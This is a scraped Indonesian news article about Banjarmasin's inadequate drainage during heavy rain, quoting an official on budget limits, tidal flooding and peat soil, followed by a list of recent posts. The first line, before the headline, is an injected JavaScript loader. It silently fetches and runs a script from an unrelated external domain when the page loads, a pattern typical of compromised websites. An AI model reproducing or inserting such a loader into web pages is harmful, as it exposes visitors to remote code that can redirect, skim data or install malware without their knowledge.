(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Drainase Banjarmasin Tak Sanggup Menahan Curah Hujan yang Tinggi


Sejauh ini, ucap dia, pemerintah kota belum ada melakukan pembangunan drainase sistem gorong-gorong di bawah jalan tersebut, khususnya di jalur jalan wilayah pemukiman padat penduduk.

“Karena kesulitan membangun drainse yang benar-benar standar itukan di jalur jalan yang padat penduduk dan arus lalu lintasnya, kalau di jalan protokol todak ada masalah dalam pembangunan drainase ini,” paparnya.

Sejauh ini, ungkap dia, masih banyak jalan di daerah ini belum memiliki fasilitas drainase, bahkan total jalan hingga ratusan kilometer lagi, tentunya percepatan pembangunan drainase ini terbentur anggaran.

“APBD kota kita ini hanya Rp 1,6 triliun, tentunya banyak prioritas pembangunan yang dilaksanakan, tidak hanya drainase yang penting, namun juga rehabilitasi jembatan-jembatan kayu yang perlu segera diganti konstruksinya dengan beton, hingga tidak semuanya bisa maksimal dialokasikan,” paparnya.

Untuk program pembangunan drainase baru dan perbaikan, ucap Ridwan, hanya bisa dianggarkan sekitra Rp 10 miliar setiap tahunnya, sehingga dipilih yang sangat prioritas. “Meski demikian, pembangunan drainase secara bertahap ini sudah cukup memperlihatkan hasilnya, di mana genangan saat terjadi hujan lebat tidak sampai seharian,” paparnya.

Diutarakan Ridwan, masalah genagan di daerah ini tidak hanya terjadi karena hujan deras, namun juga karena terjadinya air sungai pasang, lantaran daratan daerah ini yang berdekatan dengan laut.

Foto : ammar

“Perlu dimaklumi, meski tidak terjadi hujan tiba-tiba terjadi genangan, karena tanah di daerah kita ini di bawah permukaan laut, semua drainase ujung-ujungnya ke sungai,” paparnya.

Namun keuntungannya, kata Ridwan, daerah Kota Banjarmasin yang struktur tanahnya tidak perbukitan tapi lahan gambut, hingga besarnya air yang datang masih bisa diserapnya, hingga tidak pernah terjadi bencana banjir besar. “Meski demikian, kita tetap harus selalu waspada, apalagi daerah kita ini berada paling hilir di sungai Martapura, setaip kapan air besar bisa datang dari hulu, inilah yang harus kita ingat bersama,” pungkasnya.(ammar)


Page: 1 2

Desy Arfianty

Recent Posts

PT GEN Siapkan Ekspansi 2025 Kendaraan Angkutan Besar di Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - PT Global Equipment Nusatama (GEN) menggelar kicf off meeting evaluasi bersama jajaran… Read More

6 bulan ago

Wujud Negara Hadir, Pemerintah dan PLN Listriki 99,92 Persen Desa di Indonesia

KANALKALIMANTAN.COM, JAKARTA - Pemerintah melalui PT PLN (Persero) terus berupaya menghadirkan listrik di semua wilayah… Read More

6 bulan ago

Banjir di Cempaka, Angkat Perkakas Rumah Sejak Subuh

KANALKALIMANTAN.COM, BANJARBARU - Guyuran hujan yang tak berhenti sejak dini hari Selasa (21/1/2024) hingga siang… Read More

6 bulan ago

BPPW Kalsel Serahkan Stadion Demang Lehman ke Pemkab Banjar

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur dan Kepala Balai Prasarana Permukiman Wilayah (BPPW)… Read More

6 bulan ago

Ribuan Jemaah Haul ke-1 Guru Danau Berbaur Bersama Pejabat

KANALKALIMANTAN.COM, AMUNTAI - Ribuan jamaah dari berbagai wilayah dari dan luar Kalimantan Selatan menghadiri pelaksanaan… Read More

6 bulan ago

Cempaka Banjir, Hujan Guyur Banjarbaru Dini Hari hingga Siang

KANALKALIMANTAN.COM, BANJARBARU – Guyuran hujan lebat tengah melanda hampir seluruh wilayah di Kota Banjarbaru sejak… Read More

6 bulan ago

This website uses cookies.